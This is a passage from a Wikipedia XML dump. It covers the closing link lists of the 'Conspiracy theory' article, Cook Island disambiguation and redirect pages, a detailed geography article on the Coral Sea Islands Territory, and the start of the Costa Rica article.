*{{cite book
 | last =  Icke
 | first =  David 
 | authorlink =  David Icke
 | title = And the Truth Shall Set You Free: The 21st Century Edition
 | year = 2004
 | publisher = Bridge of Love 
 | id = ISBN 0953881059
}}

==See also==
* [[:Category:Conspiracy theorists]]
* [[Coincidence theory]]
* [[Cover-up]]
* [[Hanlon's Razor|Cock-up theory]]
* [[Skepticism]]
* [[Propaganda]]
* [[Ad captandum]]
* [[Conspiracism]] as a worldview
* [[Conspiracies in fiction]] (i. e., conspiracies as part of fictional works)
* [[Paranoia]]
* [[Apophenia]]
* [[Clustering illusion]]
* [[Conspiracy theories (a collection)]] Collection of conspiracy theories with short discussion
* [[List of alleged conspiracy theories]] Another list
* [[9/11 conspiracy theories]]
* [[September 11, 2001 researchers]]
* [[Meme]]
* [[Gatekeeper (politics)]] Left Gatekeepers
* [[True-believer syndrome]]

===Repeat Sources of Conspiracy Allegations===
[[David Emory]]&amp;nbsp;|
[[Jordan Maxwell]]&amp;nbsp;|
[[Anthony J. Hilder]]&amp;nbsp;|
[[David Icke]]&amp;nbsp;|
[[John Birch Society]]&amp;nbsp;|
[[Liberty Lobby]] (defunct)&amp;nbsp;|
[[Lyndon LaRouche]]&amp;nbsp;|
[[Alex Jones (journalist)|Alex Jones]]&amp;nbsp;|
[[Rauni-Leena Luukanen-Kilde]]&amp;nbsp;|
[[Juhan af Grann]]&amp;nbsp;|
[[Michael A. Hoffman II]]&amp;nbsp;|
[[Craig Hill]]&amp;nbsp;|
[[Stanley Hilton]]&amp;nbsp;|
[[Roberto Pinotti]]&amp;nbsp;|

===Conspiracy theories by topic or main figure===
[[AIDS conspiracy theories|AIDS and HIV]]&amp;nbsp;|
[[Alternative 3]]&amp;nbsp;|
[[Anti-Christian calendar theory]]&amp;nbsp;|
[[Anti-globalization and Anti-Semitism]]&amp;nbsp;|
[[Apollo moon landing hoax accusations|Moon hoax]]&amp;nbsp;|
[[Atlantis]]&amp;nbsp;|
[[Bible conspiracy theory|Bible-related]]&amp;nbsp;|
[[Black helicopter conspiracy theory]]&amp;nbsp;|
[[Bush family conspiracy theory]]&amp;nbsp;|
[[Columbine conspiracy theories]]&amp;nbsp;|
[[Council on Foreign Relations]]&amp;nbsp;|
[[Elvis sightings]]&amp;nbsp;|
[[Epsilon Team]]&amp;nbsp;|
[[Face on Mars]]&amp;nbsp;|
[[Francis E. Dec]]&amp;nbsp;|
[[Fnord]]&amp;nbsp;|
[[Freemason conspiracy theories]]&amp;nbsp;|
[[Gladio]] secret army&amp;nbsp;| 
[[Government Warehouse]]&amp;nbsp;|
[[Holocaust revisionism]]&amp;nbsp;|
[[Illuminati]]&amp;nbsp;|
[[Jesuits]]&amp;nbsp;|
[[Knights Templar]]&amp;nbsp;|
[[Majestic 12]]&amp;nbsp;|
[[Martin Bormann]]&amp;nbsp;|
[[Dan Hatcher]]
[[Men in Black]]&amp;nbsp;|
[[NESARA_conspiracy_theory|NESARA (National Economic Security And Reformation Act)]]&amp;nbsp;|
[[New World Order (conspiracy)|New World Order]]&amp;nbsp;|
[[Nick Berg conspiracy theories]]&amp;nbsp;|
[[Oil imperialism]]&amp;nbsp;|
[[Oklahoma City bombing conspiracy theories]]&amp;nbsp;|
[[Opus Dei]]&amp;nbsp;|
[[Philadelphia Experiment]]&amp;nbsp;|
[[Polybius (Game)|Polybius]] &amp;nbsp;|
[[PNAC]] &amp;nbsp;|
[[Protoscience]]s&amp;nbsp;|
[[Pseudoscience]]s&amp;nbsp;|
[[Rennes le Château]]&amp;nbsp;|
[[Roswell UFO Incident]]&amp;nbsp;|
[[Round table groups]]&amp;nbsp;|
[[SARS conspiracy theory]]&amp;nbsp;|
[[UFO conspiracy theory]]&amp;nbsp;|
[[Unknown Superiors]]&amp;nbsp;|
[[Zionism|Zionist]]/[[Jew|Jewish]] [[Global domination|world domination]] conspiracy &amp;nbsp;| [[The Protocols of the Elders of Zion]] &amp;nbsp;|
[[9/11 conspiracy theories]]&amp;nbsp;|

===Assassination===
[[Mohandas Gandhi]]&amp;nbsp;|
[[Pope John Paul I]]&amp;nbsp;|
[[Petra Kelly]]&amp;nbsp;|
[[George Patton]]&amp;nbsp;|
[[John F. Kennedy]]&amp;nbsp;|
[[Robert F. Kennedy ]]&amp;nbsp;|
[[Abraham Lincoln]]&amp;nbsp;|
[[Malcolm X]]&amp;nbsp;|
[[Martin Luther King Jr.]]&amp;nbsp;|
[[Enrico Mattei]]&amp;nbsp;|
[[Lee Harvey Oswald]]&amp;nbsp;|
[[Olof Palme]]&amp;nbsp;|
[[Salvador Allende]]&amp;nbsp;|
[[John Lennon]]&amp;nbsp;|
[[Hale Boggs]]&amp;nbsp;|
[[Tupac Shakur]]&amp;nbsp;|
[[Notorious B.I.G.]]&amp;nbsp;|
[[Yitzhak Rabin]]&amp;nbsp;|
[[Pim Fortuyn]]&amp;nbsp;|
[[John F. Kennedy, Jr.]]&amp;nbsp;|
[[Huey Long]]&amp;nbsp;|
[[Rasputin]]&amp;nbsp;|
[[Zachary Taylor]]&amp;nbsp;|

===Celebrity deaths===
Celebrity deaths other than acknowledged [[assassination]]s:
[[Elvis Presley#Death and burial|Elvis Presley]]&amp;nbsp;|
[[Jim Morrison]]&amp;nbsp;|
[[Diana, Princess of Wales#Conspiracy Theories|Diana, Princess of Wales]]&amp;nbsp;|
[[Marilyn Monroe]]&amp;nbsp;|
[[Bruce Lee]]&amp;nbsp;|
[[John Lennon]]&amp;nbsp;|
[[Bob Marley]]&amp;nbsp;|
[[Peter Tosh]]&amp;nbsp;|
[[Kurt Cobain#Suicide dispute|Kurt Cobain]]&amp;nbsp;|
[[Hunter S. Thompson]]&amp;nbsp;|
[[Andy Kaufman]]&amp;nbsp;|
[[Jimi Hendrix]]

===Politics-related deaths===

[[Yassir Arafat]]&amp;nbsp;|
[[Vince Foster]]&amp;nbsp;|
[[Jeremiah Duggan]]&amp;nbsp;|
[[Ron Brown]]&amp;nbsp;|
[[Frank Olsen]]&amp;nbsp;|
[[Paul Wellstone]]&amp;nbsp;|
[[James Forrestal]]

==External links==
* [http://www.upi.com/inc/view.php?StoryID=10042002-101612-2060r &quot;The Economics of Conspiracy Theories&quot;], [[United Press International]], April 10, 2002
* [http://www.cool.com.au/general-news/observations/conspiracy-theory-definition-20060106132 Conspiracy Theories Overview]
* [http://www.geocities.com/johnfkosanke/occult.htm The Occult Technology of Power] The mechanics of institutionalized conspiracy
* [http://www.csmonitor.com/2005/1116/p09s01-coop.htm On the hunt for a conspiracy theory], ''CS Monitor'' article
* [http://www.clydelewis.com Ground Zero with Clyde Lewis]
* [http://www.conspiracyarchive.com Conspiracy Archive]
* [http://www.conspiracybomb.com/azconspiracy.htm The A-Z of Conspiracy Theories]
* [http://www.globalresearch.ca/ Centre for Research on Globalization]
* [http://www.davidicke.com/icke/temp/reptconn.html The Reptilian Connection &amp;mdash; David Icke]
* [http://www.alternet.org/story.html?StoryID=14873 Top Ten Conspiracy Theories of 2002], from AlterNet.
*[http://www.threeworldwars.com/intro.htm An Introduction to Conspiratorial History]
* Hutchinson, Martin, &quot;'' [http://www.upi.com/view.cfm?StoryID=20031006-060121-9328r The Bear's Lair: The new Cold War]''&quot;, [[UPI]]
* [http://verschwoerungen.info/wiki/Liste_der_Essays Essays about Conspiration theories (in German)]
* [http://www.timboucher.com/journal/2005/07/24/an-integral-approach-to-conspiracy-theory/ An Integral Approach to Conspiracy Theory]
* [http://verschwoerungen.info/wiki/Liste_der_Verschw%F6rungen Interesting collection of conspiracy theories (in German)]
* [http://www.alienview.net/conspire.html Sociopathy &amp; Conspiracy] (...Conspiracy Likely As A Result Of Sociopathy?)
* [http://www.lobster-magazine.co.uk/articles/l29consp.htm 'Conspiracy Theories' and Clandestine Politics] by Jeffrey M. Bale in ''Lobster Magazine''
* [http://fnord.wikicities.com/ The Conspiracy Wiki]

===Links critical of conspiracism===
*&amp;lsquo;[http://www.nationalism.org/patranoia/hofstadter-paranoid-style.htm The Paranoid Style in American Politics]&amp;rsquo; [[Richard Hofstadter]], &lt;cite&gt;Harper's&lt;/cite&gt; [[1964]] November
* [http://skepdic.com/illuminati.html Skeptic's Dictionary on conspiracy theories]
* [http://www.conspiracy-theories-hoax.com/ Popular Conspiracy Theories] (Balanced but skeptical view of popular conspiracy theories)
* [http://www.publiceye.org/tooclose/conspiracism.html The Dynamics of Conspiracism] (site critical of conspiracy theories that scapegoat)
* [http://www.amirbutler.com/archives/2002/11/15/12 Amir Butler: Our Credibility Problem is a Conspiracy] (A discussion of the spread of conspiracy theories in the Muslim community)

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[[da:Konspirationsteori]]
[[de:Verschwörungstheorie]]
[[et:Vandenõuteooria]]
[[el:Θεωρία συνωμοσίας]]
[[es:Teoría de la conspiración]]
[[eo:Konspira teorio]]
[[fr:Théorie du complot]]
[[ko:음모론]]
[[it:Teoria del complotto]]
[[he:תאוריית קשר]]
[[hu:Összeesküvés-elmélet]]
[[nl:Complottheorie]]
[[ja:陰謀論]]
[[pl:Teoria spiskowa]]
[[pt:Teoria da conspiração]]
[[ru:Теория заговора]]
[[fi:Salaliittoteoria]]
[[sv:Konspirationsteori]]
[[zh:陰謀論]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Island</title>
    <id>5531</id>
    <revision>
      <id>40210800</id>
      <timestamp>2006-02-18T23:59:49Z</timestamp>
      <contributor>
        <username>Kevin Ryde</username>
        <id>564285</id>
      </contributor>
      <comment>add [[Cook Islands]]</comment>
      <text xml:space="preserve">'''Cook Island''' may refer to,

* [[Cook Island, South Sandwich Islands]], central island in Southern Thule
* [[Cook Island, New South Wales]], small rocky island in Australia

See also,

* [[Cook Islands]], self governing democracy in the Pacific, associated with New Zealand

All three of the above are named after [[Captain James Cook]].

{{geodis}}</text>
    </revision>
  </page>
  <page>
    <title>Cook Island/History</title>
    <id>5532</id>
    <revision>
      <id>40079570</id>
      <timestamp>2006-02-17T23:57:09Z</timestamp>
      <contributor>
        <username>Joturner</username>
        <id>153365</id>
      </contributor>
      <comment>revert to last version</comment>
      <text xml:space="preserve">#REDIRECT [[History of the Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Island/Geography</title>
    <id>5533</id>
    <revision>
      <id>15903737</id>
      <timestamp>2002-10-10T09:18:26Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Geography of the Cook Islands]]</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of the Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Island/People</title>
    <id>5534</id>
    <revision>
      <id>15903738</id>
      <timestamp>2002-08-20T16:00:12Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of the Cook_Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Island/Government</title>
    <id>5535</id>
    <revision>
      <id>15903739</id>
      <timestamp>2002-10-10T14:42:39Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of the Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Island/Economy</title>
    <id>5536</id>
    <revision>
      <id>15903740</id>
      <timestamp>2002-10-10T14:57:14Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of the Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Island/Communications</title>
    <id>5537</id>
    <revision>
      <id>15903741</id>
      <timestamp>2002-10-10T14:57:56Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in the Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Island/Transportation</title>
    <id>5538</id>
    <revision>
      <id>15903742</id>
      <timestamp>2005-02-25T08:12:33Z</timestamp>
      <contributor>
        <username>Jguk</username>
        <id>145867</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Transport in the Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands</title>
    <id>5541</id>
    <revision>
      <id>41285764</id>
      <timestamp>2006-02-26T07:43:48Z</timestamp>
      <contributor>
        <username>BrightLights</username>
        <id>815580</id>
      </contributor>
      <minor />
      <comment>Aust article: kilometers changed to kilometres</comment>
      <text xml:space="preserve">{{cleanup-date|September 2005}}
[[Image:Coral_Sea_Islands.gif|right|Map of the Coral Sea Islands]]
The '''Coral Sea Islands Territory''' includes a group of small tropical islands and reefs in the [[Coral Sea]], northeast of [[Queensland]], [[Australia]], around {{coor d|18|S|152|E|}}. There are about 30 separate [[reef]]s and [[atoll]]s, 12 of them wholly submerged or drying only during low tide, and 18 others with a total of about 51 islets and [[cay]]s (18 alone on the atoll [[Lihou Reef and Cays]]), some of which are vegetated. The atolls exhibit a wide range of size, from a few kilometres in diameter to perhaps the second largest atoll in the world by total area (including [[lagoon]]): '''Lihou Reef''', with a lagoon size of 100 by 30 km and an area of 2,500 km², which compares to a combined land area of the 18 individual islets of only 0.91 km². The islands are all very low. The territory's [[FIPS 10-4]] code is CR, whereas [[ISO 3166]] includes it in Australia (AU).

The atolls are scattered over a sea area of about 1 million km². The [[Willis Islets]] (Willis Group) are important nesting areas for birds and turtles, but their natural resources are negligible. They comprise less than three square kilometres of land. There is no port or harbour, only offshore anchorage.

The territory was created in [[1969]] by the Coral Sea Islands Act (before, the area was considered part of Queensland) and extended in [[1997]] to include '''Middleton Reef''' and '''Elizabeth Reef''' nearly 800 km further South, already in the [[Tasman Sea]]. The two latter reefs are indeed much closer to [[Lord Howe Island]], [[New South Wales]] (about 150 km) than to the southernmost island of the rest of the territory, Cato Island. The islands, cays and reefs of the [[Great Barrier Reef]] are not part of the territory, belonging to Queensland instead. The outer edge of the Great Barrier Reef is the boundary between Queensland and the Coral Sea Islands Territory.

The territory is a possession of [[Australia]], administered from [[Canberra]] by the Australian Department of the Environment, which has control over the activities of visitors. Defence is the responsibility of Australia, and the territory is visited regularly by the [[Royal Australian Navy]].  Australia maintains automatic weather stations on many of the isles and reefs, and claims a 200 [[nautical mile]] (370 km) exclusive [[fishing]] zone. There is no economic activity, and only a staff of three or four people to run the meteorological station on '''Willis Island''' (South Islet), established in [[1921]]. However, a group of gay activists have settled on Cato Island and claimed the islands as a sovereign gay territory.

Automatic, unmanned weather stations are located on following reefs or atolls:
*Bougainville Reef
*Cato Island
*Flinders Reef (Flinders Coral Cay)
*Frederick Reef
*Holmes Reef
*Lihou Reef (Turtle Islet)
*Marion Reef
*Moore Reef

Lighthouses are located on following reefs or islands:
*Bougainville Reef
*East Diamond Islet
*Frederick Reefs
*Lihou Reef
*Saumarez Reef

== Geography ==
Most of the atolls fall into two groups, while '''Mellish Reef''' to the east, and '''Middleton Reef''' and '''Elizabeth Reef''' to the south are grouped separately:

===Northwestern Group===
#Osprey Reef (submerged atoll roughly oval in shape, measuring 25 by 12 km, covering around 195 km², with lagoon up to 30 m deep)
#Shark Reef (small elongated submerged reef 15 km South of Osprey Reef, with a least depth of 7.8 m)
#Bougainville Reef (small submerged atoll, 2.5 by 4 km, area 8 km² with lagoon, dries at half tide)
#East Holmes Reef (submerged atoll, about 14 by 10 km, area 125 km² with lagoon)
#West Holmes Reef (submerged atoll 6 km East of East Holmes Reef, about 18 by 7 km, area 125 km² with lagoon that is open on the West side, two small cays)
#Flora Reef (small submerged atoll, 5 by 4 km, about 12 km²)
#Diane Bank (sunken atoll, depths of less than 10 m over an area of 65 by 25 km, or 1300 km², along the northern edge 3 m deep, with Sand Cay in the Northwest, 3 m high)
#North Moore Reef (small submerged atoll, 4 by 3 km, area 8 km² including lagoon that is open on the Northwest side)
#South Moore Reef (small submerged reef 5 km South of North Moore Reef)
#Willis Islets (sunken atoll, bank 45 by 19 km, bank area more than 500 km², 3 islets on the Northwestern side: North Cay, Mid Islet almost 8 m high, South Islet or Willis Island 10 m high)
#Magdelaine Cays &amp; Coringa Islets (one large, partially sunken atoll structure, almost 90 by 30 km, bank area about 1500 km², 2 islets of the Magdelaine Cays in the North: North West Islet (area approximately 0.2 km²) and South East Cay (area 0.37 km²); 2 islets of the Coringa Islets 50 to 60 km further Southwest: Southwest Islet or Coringa Islet (area 0.173 km²), and Chilcott Islet (area 0.163 km²))
#Herald Cays, Northeast Cay (encircled by a reef of 3 by 3 km, total area 6 km², land area 0.34 km²)
#Herald Cays, Southwest Cay (4 km Southwest of Northeast Cay, encircled by a reef of 2 by 2 km, total area 3 km², land area 0.188 km²)
#[[Lihou Reef and Cays]] (largest atoll in the coral sea, with a size of 2500 km², land area 0.91 km²)
#Diamond Islets &amp; Tregosse Reefs (large, partially sunken atoll, 100 by 52 km, area of the bank over 3000 km², with 4 islets and 2 small submerged reefs in the Northeast and Southeast: West Diamond Islet, Central Diamond Islet, East Diamond Islet on the Northeastern rim of the former atoll, and South Diamond Islet, East Tregosse Reef and West Tregosse Reef on the Southern rim)
#North Flinders Reef (large atoll, 34 by 23 km, area 600 km², with 2 islets, Flinders Cay being the larger one with a length of 200 m and a height of 3 m)
#South Flinders Reef (atoll, 15 by 5 km, 60 km²)
#Herald's Surprise (small submerged reef North of Flinders Reefs, 3 by 2 km)
#Dart Reef (small submerged reef Northwest of Flinders Reefs, 3 by 3 km, area 6 km² including small lagoon that is open to the North)
#Malay Reef (small submerged reef, not clearly defined, no breakers, difficult to see)
#Abington Reef (submerged reef, nearly awash, 4 by 2.5 km, area 7 km²)
#Marion Reef (large circular atoll formation that is comprised of three main units located on the Eastern side: Marion, Long and Wansfell; and a number of smaller reefs on the west. The formation sits atop a submarine feature known as the '''Marion Plateau''' which is separated from the larger Coral Sea Plateau to the north by the '''Townsville Trough'''. Three small sand cays are located on the eastern side of Marion Reef: Paget Cay, on Long Reef, Carola Cay, south of Long Reef, and Brodie Cay, on Wansfell Reef.

The atolls of the Northwestern Group, except Osprey Reef and Shark Reef in the North, and Marion Reef in the South, are located on the '''Coral Sea Plateau''' (Queensland Plateau), a contiguous area of depths less than 1000 m.

'''Flinders Reefs''' (North and South), '''Herald's Surprise''' and '''Dart Reef''' form a cluster of reefs of 66 by 26 km.

'''Magdelaine Cays''', '''Coringa Islets''' and '''Herald Cays''' are part of the 8856 km² '''Coringa-Herald National Nature Reserve''', created on August 16, 1982 and located around 400 km east of [[Cairns, Queensland|Cairns]] and 220 to 320 km from the outer edge of the Great Barrier Reef. The 6 islets of the nature reserve have areas from 0.16 to 0.37 km², for a total of 1.24 km².

'''[[Lihou Reef]]''' was declared a Nature Reserve on August 16, 1982, with an area of 8440 km².

The Nature Reserves were created to protect wildlife in the respective areas of the territory.

===Mellish Reef===
#Mellish Reef, being about 300 kilometres to the east of the '''Northwestern Group''', thus the most distant from the Australian continent of all the reefs and atolls of the Coral Sea Islands Territory, is not considered to be part of any group. It has the outline of a boomerang-shaped platform around 10 km in length and 3 km across, area 25 km². The surrounding reefs, which enclose a narrow lagoon, are completely submerged at high tide. Near the centre of the lagoon is the only permanent land of the reef - Heralds-Beacon Islet. The island is a small cay measuring 600 m by 120 m, area 57,000 m&amp;sup2;, only rising a few meters above the high water mark. 
Information courtesy of [http://www.oceandots.com/pacific/coralsea/mellish.htm Oceandots.com]

===Southeasterly Group===
#Frederick Reefs: The reefs form a semi-enclosed lagoon, known as Anchorage Sound, with an opening on the North side. The complex measures about 10 by 4 km, with an area of 30 km². On the southern side of the reef lies Observatory Cay, the only permanently dry land, although there are a few of others cays that can be awash at high tide.
#Kenn Reef, submerged atoll of about 15 by 8 km, area 40 km², islet Observatory Cay in the Southeast, 2 m high
#Saumarez Reefs, southernmost reefs to be located on the Coral Sea Shelf; three main reefs and numerous smaller reefs that form a large crescent-shaped formation open to the northwest, about 27 by 14 km, area less than 300 km². There are two sand cays: North East Cay and South West Cay.
#Wreck Reefs: atoll 25 by 5 km, area 75 km², open on the North. Islets found on the reefs include Bird Islet, West Islet and Porpoise Cay.
#Cato Reef: Cato bank 21 by 13 km, area 200 km² of dephts less than 17 m; Cato Reef encircles an area of 3.3 by 1.8 km, area 5 km² including lagoon; Cato Island, in the West of the lagoon, 650 by 300 m, area 1.5 km&amp;sup2;, 6 m high. Close to the Southeast corner of Cato bank is Hutchison Rock, with 1 m depth over it.

===Extreme South===
Elizabeth and Middleton Reefs, together with reefs around [[Lord Howe Island]] ([[New South Wales]]) 150 km to the south, are regarded as the southernmost coral reefs in the world. Their location, where tropical and temperate ocean currents meet, contributes to an unusually diverse assemblage of marine species.
These mostly submerged atolls which dry only during low tide were added to the territory only in 1989. They are located on the [[Lord Howe Rise]] in the [[Tasman Sea]] which joins the [[Coral Sea]] in the South. Already on December 23, 1987, they were protected as '''Elizabeth and Middleton Reefs Marine National Nature Reserve''', which has an area of 1880 km².
#Middleton Reef, atoll about 8.9 by 6.3 km, area 37 km² including lagoon, one islet: Elizabeth island (Elizabeth cay), no vegetation, 600 meters by 400 meters (area 0.2 km&lt;sup&gt;2&lt;/sup&gt;), highest point close to the Northern end 1.5 meters. At low tides much of the reef flat is exposed.
#Elizabeth Reef, atoll about 8.2 by 5.5 km, area 51 km² including lagoon, one islet: The Sound, 100 by 70 meters (area 5,000 m&amp;sup2;), highest point 0.8 meters. At low tides much of the reef flat is exposed.

===Overview of islets and cays===
{| class=&quot;wikitable&quot;
! Complex
! Type
! Number of islets and cays 
|- 
| align=left | West Holmes Reef
| atoll
| align=right | 2 
|- 
| align=left | Diane Bank
| mostly sunken atoll
| align=right | 1 
|- 
| align=left | Willis Group
| partially sunken atoll
| align=right | 3 
|- 
| align=left | Magdelaine Cays &amp; Coringa Islets
| partially sunken atoll
| align=right | 4 
|- 
| align=left | Herald Cays (North)
| reef
| align=right | 1 
|- 
| align=left | Herald Cays (South)
| reef
| align=right | 1 
|- 
| align=left | Lihou Reef and Cays
| atoll
| align=right | 18 
|- 
| align=left | Diamond Islands &amp; Tregosse Reefs
| partially sunken atoll
| align=right | 4 
|- 
| align=left | Flinders Reefs (North)
| atoll
| align=right | 2 
|- 
| align=left | Marion Reef
| atoll
| align=right | 4 
|- 
| align=left | Mellish Reef
| atoll
| align=right | 1 
|- 
| align=left | Frederick Reefs
| atoll
| align=right | 1 
|- 
| align=left | Kenn Reef
| atoll
| align=right | 1 
|- 
| align=left | Saumarez Reef
| atoll
| align=right | 2 
|- 
| align=left | Wreck Reef
| atoll
| align=right | 3 
|- 
| align=left | Cato Reef
| atoll
| align=right | 1 
|- 
| align=left | Middleton Reef
| atoll
| align=right | 1 
|- 
| align=left | Elizabeth Reef
| atoll
| align=right | 1 
|- 
| align=left | 
| 
| align=right | 51 
|}

==See also==
*[[Gay and Lesbian Kingdom of the Coral Sea Islands]]

==External links==
*[http://www.dotars.gov.au/terr/coral/index.aspx DOTARS: Coral Sea Islands]
*[http://mitglied.lycos.de/dc3mf/Eliza.htm Middleton and Elizabeth Reefs]
*[http://www.oceandots.com/pacific/elizmid/ Middleton and Elizabeth Reefs - General]
*[http://www.aims.gov.au/pages/research/marine-surveys/elizabeth-middleton-reefs-surveys-december2003/pdf/elizabeth-middleton-reefs-surveys-december2003.pdf Middleton and Elizabeth Reefs - Biology]

{{Australia}}

[[Category:Islands of Australia]]
[[de:Korallenmeerinseln]]
[[es:Islas del Mar del Coral]]
[[fr:Îles de la Mer de Corail]]
[[it:Isole del Mar dei Coralli]]
[[he:טריטוריית איי ים האלמוגים]]
[[hu:Korall tengeri-szigetek]]
[[nl:Koraalzee-eilanden]]
[[ja:珊瑚海諸島]]
[[pl:Wyspy Morza Koralowego]]
[[pt:Ilhas do Mar de Coral]]
[[fi:Korallimeren saarten territorio]]
[[zh:珊瑚海群岛]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands/History</title>
    <id>5542</id>
    <revision>
      <id>15903745</id>
      <timestamp>2002-08-20T17:05:20Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Coral Sea Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands/Geography</title>
    <id>5543</id>
    <revision>
      <id>15903746</id>
      <timestamp>2002-08-31T08:59:31Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Coral Sea Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Coral Sea Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands/People</title>
    <id>5544</id>
    <revision>
      <id>15903747</id>
      <timestamp>2002-08-20T17:05:00Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Coral Sea Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands/Government</title>
    <id>5545</id>
    <revision>
      <id>15903748</id>
      <timestamp>2002-08-31T08:59:33Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Coral Sea Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Coral Sea Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands/Economy</title>
    <id>5546</id>
    <revision>
      <id>15903749</id>
      <timestamp>2002-08-30T19:18:23Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Coral Sea Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Coral Sea Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands/Communications</title>
    <id>5547</id>
    <revision>
      <id>15903750</id>
      <timestamp>2002-08-31T08:59:35Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Coral Sea Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Coral Sea Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands/Transportation</title>
    <id>5548</id>
    <revision>
      <id>15903751</id>
      <timestamp>2002-08-31T08:59:37Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Coral Sea Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Coral Sea Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Coral Sea Islands/Military</title>
    <id>5549</id>
    <revision>
      <id>15903752</id>
      <timestamp>2002-08-31T08:59:39Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Coral Sea Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Coral Sea Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Costa Rica</title>
    <id>5551</id>
    <revision>
      <id>42108890</id>
      <timestamp>2006-03-03T21:59:22Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{{Infobox_Country
|native_name = '''República de Costa Rica'''
|common_name = Costa Rica
|image_flag = Flag of Costa Rica.svg
|image_coat = CostaRica_coa.jpg
|image_map = LocationCostaRica.png
|national_motto = &lt;small&gt;¡Pura vida! (unofficial){{ref|puravida}} &lt;br&gt;(Popular saying translating to &quot;Pure life!&quot; Can be used both as a question or and exclamative answer)''&lt;/small&gt;
|national_anthem = [[Noble patria, tu hermosa bandera]]
|official_languages = [[Spanish language|Spanish]] (Official), ([[English language|English]] coast)
|capital = [[San José, Costa Rica|San José]]
|latd=9 |latm=56 |latNS=N |longd=84 |longm=5 |longEW=W
|largest_city = [[San José, Costa Rica|San José]]
|government_type = Democratic Republic
|leader_titles = [[President of Costa Rica|President]]
|leader_names =[[Abel Pacheco]]
|area_rank = 125th
|area_magnitude = 1 E10
|area= 51,100
|areami²= 19,725 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = 0.7%
|population_estimate = 4,016,173
|population_estimate_rank = 122nd
|population_estimate_year = 2005
|population_census = 
|population_census_year = 
|population_density =81.40
|population_densitymi² = 210.8 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 91st
|GDP_PPP = $40.32 billion
|GDP_PPP_rank = 85th
|GDP_PPP_year= 2005
|GDP_PPP_per_capita = $10,000
|GDP_PPP_per_capita_rank = 65th
|sovereignty_type = Independence
|established_events = From [[Spain]]
|established_dates = [[September 15]], [[1821]]
|HDI = 0.838
|HDI_rank = 47th
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
|currency = [[Colón (currency)|colón]]
|currency_code = CRC
|country_code = 
|time_zone = 
|utc_offset = -6
|time_zone_DST = 
|utc_offset_DST = 
|cctld = [[.cr]]
|calling_code = 506
|footnotes = 
}}

The '''Republic of Costa Rica''' ([[Spanish language|Spanish]]: ''República de Costa Rica'', [[International Phonetic Alphabet|IPA]]: {{IPA|[re'puβlika ðe 'kosta 'rika]}}) is a country in [[Central America]], bordered by [[Nicaragua]] to the north, [[Panama]] to the south-southeast, the [[Pacific Ocean]] to the west and south, and the [[Caribbean Sea]] to the east.  Costa Rica was the first country in the world to constitutionally [[Military of Costa Rica|abolish its army]]. 
==History of Costa Rica==
{{main|History of Costa Rica}}
